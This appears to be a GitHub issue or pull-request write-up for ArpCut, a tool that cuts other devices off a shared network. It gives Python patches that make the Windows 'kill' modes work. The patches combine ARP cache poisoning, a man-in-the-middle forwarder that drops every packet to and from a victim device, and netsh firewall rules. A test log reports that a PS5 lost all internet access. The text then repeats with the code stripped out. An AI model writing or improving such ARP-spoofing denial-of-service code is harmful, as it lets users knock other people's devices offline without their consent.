Issue Description
The EXE version of ArpCut fails to cut internet connection for certain devices (e.g., PS5, gaming consoles) when using "Kill Selected Devices," "One-Way Kill," or "Full Kill" functionalities on Windows.
Root Cause Analysis
After investigation, three issues were identified:
- Full Kill (Windows): Only blocked outgoing traffic (
dir=out), allowing devices to still receive packets
- One-Way Kill (Windows): Used macOS-only
pf firewall, which silently failed on Windows
- Regular Kill (Windows): ARP spoofing alone without packet dropping allowed traffic to pass through
Solution
The following files were modified to fix the issue:
1. src/tools/pfctl.py
Fixed block_all_for() function - Now blocks BOTH incoming and outgoing traffic on Windows:
def block_all_for(iface: str, victim_ip: str) -> bool:
if sys.platform != 'darwin':
# Windows: use netsh advfirewall - block BOTH directions for complete cut
if sys.platform.startswith('win'):
rule_name_out = f'arpcut_block_{victim_ip.replace(".", "_")}_out'
rule_name_in = f'arpcut_block_{victim_ip.replace(".", "_")}_in'
# Block outgoing traffic TO victim
cmd_out = f'netsh advfirewall firewall add rule name="{rule_name_out}" dir=out action=block remoteip={victim_ip} enable=yes'
# Block incoming traffic FROM victim
cmd_in = f'netsh advfirewall firewall add rule name="{rule_name_in}" dir=in action=block remoteip={victim_ip} enable=yes'
res_out = _exec(cmd_out)
res_in = _exec(cmd_in)
return res_out.returncode == 0 and res_in.returncode == 0
return False
# macOS anchors don't support 'in'/'out' - omit direction
rule = f'block drop quick on {iface} from {victim_ip} to any'
return _write_pf_rules([rule], replace=False)
Fixed unblock_all_for() function - Removes both firewall rules:
def unblock_all_for(victim_ip: str) -> bool:
if sys.platform != 'darwin':
# Windows: remove BOTH firewall rules (in and out)
if sys.platform.startswith('win'):
rule_name_out = f'arpcut_block_{victim_ip.replace(".", "_")}_out'
rule_name_in = f'arpcut_block_{victim_ip.replace(".", "_")}_in'
_exec(f'netsh advfirewall firewall delete rule name="{rule_name_out}"')
_exec(f'netsh advfirewall firewall delete rule name="{rule_name_in}"')
return True
return False
# ... rest of macOS code
2. src/networking/killer.py
Updated kill() method - Added use_forwarder parameter to enable packet dropping on Windows:
@threaded
def kill(self, victim, wait_after=2, use_forwarder=False):
"""
Spoofing victim.
Default 2 second delay - ARP cache lasts 30-120s, no need to spam.
Prevents Windows NDIS throttling.
Args:
victim: Device dict with ip, mac, etc.
wait_after: Seconds between ARP packets
use_forwarder: If True, start forwarder that drops all traffic (ensures complete block)
"""
if victim['mac'] in self.killed:
return
self.killed[victim['mac']] = victim
# Send ARP reply (is-at) with proper Ethernet destination to poison caches
# ... ARP packet creation code ...
# Optional: Start forwarder that drops all traffic for guaranteed block
if use_forwarder:
self._start_drop_all_forwarder(victim, debug=False)
while victim['mac'] in self.killed and self.iface.name != 'NULL':
# Send packets using persistent socket
self._send_packet(to_victim)
self._send_packet(to_router)
sleep(wait_after)
self._stop_forwarder(victim['mac'])
Updated one_way_kill() method - Platform-specific implementation:
def one_way_kill(self, victim):
"""
Kill victim and block their outbound traffic.
macOS/Linux: Uses kernel IP forwarding + pf block (fast, no Python overhead)
Windows: Uses MitmForwarder to drop outbound packets
"""
# Ensure victim is being ARP poisoned
if victim['mac'] not in self.killed:
self.kill(victim)
# Wait for poison to start
for _ in range(10):
sleep(0.1)
if victim['mac'] in self.killed:
break
# Platform-specific blocking
if sys.platform == 'darwin':
# macOS: Block outbound at kernel level with pf (no slow Python forwarder)
self._enforce_pf_block(victim['ip'])
else:
# Windows/Linux: Use forwarder to drop outbound packets
self._start_one_way_forwarder(victim, debug=False)
Added _start_drop_all_forwarder() method - Drops all traffic bidirectionally:
def _start_drop_all_forwarder(self, victim, debug=False):
"""Start forwarder that drops ALL traffic (complete kill)."""
if victim['mac'] in self.forwarders:
self.forwarders[victim['mac']].stop()
if not self.router.get('mac'):
if debug:
print(f"[killer] Cannot start forwarder: router MAC unknown")
return
iface_to_use = self.iface.guid if hasattr(self.iface, 'guid') and self.iface.guid else self.iface.name
if not iface_to_use or iface_to_use == 'NULL':
if debug:
print(f"[killer] Cannot start forwarder: invalid interface")
return
fw = MitmForwarder(debug=debug)
fw.start(
victim=victim,
router=self.router,
iface_name=iface_to_use,
iface_mac=self.iface.mac,
drop_from_victim=True,
drop_to_victim=True,
)
self.forwarders[victim['mac']] = fw
if debug:
print(f"[killer] Drop-all forwarder started for {victim['ip']}")
Updated _start_one_way_forwarder() method - Added documentation:
def _start_one_way_forwarder(self, victim, debug=False):
"""Start forwarder that drops outbound traffic only (one-way kill)."""
# ... existing implementation with drop_from_victim=True, drop_to_victim=False
Updated kill_all() method - Added use_forwarder parameter:
def kill_all(self, device_list, use_forwarder=False):
"""
Safely kill all devices
Args:
device_list: List of devices to kill
use_forwarder: If True, use forwarder for complete packet dropping
"""
for device in device_list[:]:
if device['admin']:
continue
if device['mac'] not in self.killed:
self.kill(device, use_forwarder=use_forwarder)
3. src/gui/main.py
Updated kill() method - Auto-enables forwarder on Windows:
def kill(self):
"""
Apply ARP spoofing to selected device
"""
if not self.connected():
return
if not self.tableScan.selectedItems():
self.log('No device selected', 'red')
return
device = self.current_index()
if device['mac'] in self.killer.killed:
self.log('Device is already killed', 'red')
return
# Killing process
# On Windows, use forwarder to ensure complete packet dropping
import sys
use_forwarder = sys.platform.startswith('win')
self.killer.kill(device, use_forwarder=use_forwarder)
set_settings('killed', list(self.killer.killed) * self.remember)
self.log('Killed ' + device['ip'], 'fuchsia')
self.showDevices()
Updated killAll() method - Auto-enables forwarder on Windows:
def killAll(self):
"""
Kill all scanned devices except admins
"""
self.stopLagSwitch()
if not self.connected():
return
# On Windows, use forwarder to ensure complete packet dropping
import sys
use_forwarder = sys.platform.startswith('win')
self.killer.kill_all(self.scanner.devices, use_forwarder=use_forwarder)
set_settings('killed', list(self.killer.killed) * self.remember)
self.log('Killed All devices', 'fuchsia')
self.showDevices()
Test Results
Tested on Windows with PS5:
Final forwarder stats:
Packets seen: 15124
Packets dropped: 15124
Packets forwarded: 0
Result: PS5 had NO internet connection until restored. All three kill methods now work correctly on Windows.
Modified Files Summary
src/tools/pfctl.py - Fixed Windows firewall bidirectional blocking
src/networking/killer.py - Added forwarder support for Windows
src/gui/main.py - Auto-enables forwarder for Windows kills
Note for Repository Maintainers
Branch Creation: I have created a branch with these fixes, but I do not have push permissions to this repository. The changes are ready for review and can be applied via pull request if you grant push access, or you can manually apply the changes from the modified files listed above.
Compatibility
- Windows: All kill methods now work (tested)
- macOS: Existing functionality preserved (uses pf firewall)
- Linux: Compatible (uses forwarder fallback)
Dependencies
No new dependencies required. Uses existing:
scapy for packet manipulation
netsh advfirewall (built-in Windows command)
- Existing
MitmForwarder class
Tested on: Windows 11, Python 3.12, Npcap installed
Devices tested: PlayStation 5, standard network devices
All kill methods verified working: Regular Kill, Full Kill, One-Way Kill
Issue Description
The EXE version of ArpCut fails to cut internet connection for certain devices (e.g., PS5, gaming consoles) when using "Kill Selected Devices," "One-Way Kill," or "Full Kill" functionalities on Windows.
Root Cause Analysis
After investigation, three issues were identified:
dir=out), allowing devices to still receive packetspffirewall, which silently failed on WindowsSolution
The following files were modified to fix the issue:
1.
src/tools/pfctl.pyFixed
block_all_for()function - Now blocks BOTH incoming and outgoing traffic on Windows:Fixed
unblock_all_for()function - Removes both firewall rules:2.
src/networking/killer.pyUpdated
kill()method - Addeduse_forwarderparameter to enable packet dropping on Windows:Updated
one_way_kill()method - Platform-specific implementation:Added
_start_drop_all_forwarder()method - Drops all traffic bidirectionally:Updated
_start_one_way_forwarder()method - Added documentation:Updated
kill_all()method - Addeduse_forwarderparameter:3.
src/gui/main.pyUpdated
kill()method - Auto-enables forwarder on Windows:Updated
killAll()method - Auto-enables forwarder on Windows:Test Results
Tested on Windows with PS5:
Result: PS5 had NO internet connection until restored. All three kill methods now work correctly on Windows.
Modified Files Summary
src/tools/pfctl.py- Fixed Windows firewall bidirectional blockingsrc/networking/killer.py- Added forwarder support for Windowssrc/gui/main.py- Auto-enables forwarder for Windows killsNote for Repository Maintainers
Branch Creation: I have created a branch with these fixes, but I do not have push permissions to this repository. The changes are ready for review and can be applied via pull request if you grant push access, or you can manually apply the changes from the modified files listed above.
Compatibility
Dependencies
No new dependencies required. Uses existing:
scapyfor packet manipulationnetsh advfirewall(built-in Windows command)MitmForwarderclassTested on: Windows 11, Python 3.12, Npcap installed
Devices tested: PlayStation 5, standard network devices
All kill methods verified working: Regular Kill, Full Kill, One-Way Kill